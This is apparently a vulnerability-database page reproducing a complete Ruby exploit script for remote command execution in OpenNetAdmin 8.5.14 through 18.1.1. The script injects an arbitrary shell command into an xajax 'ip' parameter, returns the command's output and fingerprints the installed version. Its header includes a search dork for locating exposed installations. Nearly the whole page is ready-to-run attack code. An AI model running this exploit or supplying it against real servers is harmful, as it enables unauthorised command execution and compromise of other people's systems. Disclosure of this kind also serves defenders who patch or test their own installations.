Tuesday, May 11, 2021

OpenNetAdmin 18.1.1 Remote Command Execution

#!/usr/bin/env ruby

# Exploit
## Title: OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution
## Google Dorks:
## inurl:/ona/
## Author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
## Author website: https://pwn.by/noraj/
## Date: 2021-05-07
## Vendor Homepage: https://github.com/opennetadmin/ona
## Software Link: https://github.com/opennetadmin/ona/archive/refs/tags/v18.1.1.tar.gz
## Version: 8.5.14 to 18.1.1
## Tested on: OpenNetAdmin 18.1.1
## Patch: Use git master branch (no new version released)

# Vulnerabilities
## Discoverer: mattpascoe
## Date: 2019-11-19
## Discoverer website: https://github.com/mattpascoe
## Discovered on OpenNetAdmin 18.1.1
## Vulnerability 1:
## Title: OpenNetAdmin 18.1.1 - Remote Code Execution
## CVE: none
## References: https://www.exploit-db.com/exploits/47691

require 'httpx'
require 'docopt'

doc = <<~DOCOPT
OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution

Usage:
#{__FILE__} exploit <url> <cmd> [--debug]
#{__FILE__} version <url> [--debug]
#{__FILE__} -h | --help

exploit: Exploit the RCE vuln
version: Try to fetch OpenNetAdmin version

Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen

Examples:
#{__FILE__} exploit http://example.org id
#{__FILE__} exploit https://example.org:5000/ona 'touch hackproof'
#{__FILE__} version https://example.org:5000/ona
DOCOPT

def exploit(root_url, cmd, separator)
params = {
'xajax' => 'window_submit',
'xajaxargs' => ['tooltips', "ip=>; echo #{separator}; #{cmd} 2>&1; echo #{separator}", 'ping']
}

res = HTTPX.post(root_url, form: params).body.to_s.match(/#{separator}(.*)#{separator}/m)

return '[-] Target not vulnerable' if res.captures[0].nil?

res.captures[0]
end

def version(root_url)
params = {
'xajax' => 'window_open',
'xajaxargs' => ['app_about']
}

res = HTTPX.post(root_url, form: params).body.to_s.match(/<u>&copy; \d{4} OpenNetAdmin - v(\S+)<\/u>/)

return '[-] Version not found' if res.captures[0].nil?

res.captures[0]
end

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

if args['version']
puts version(args['<url>'])
else
SEPARATOR = '556cc23863fef20fab5c456db166bc6e'.freeze

output = exploit(args['<url>'], args['<cmd>'], SEPARATOR)
puts '[+] Command output:'
puts output
end
rescue Docopt::Exit => e
puts e.message
end
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated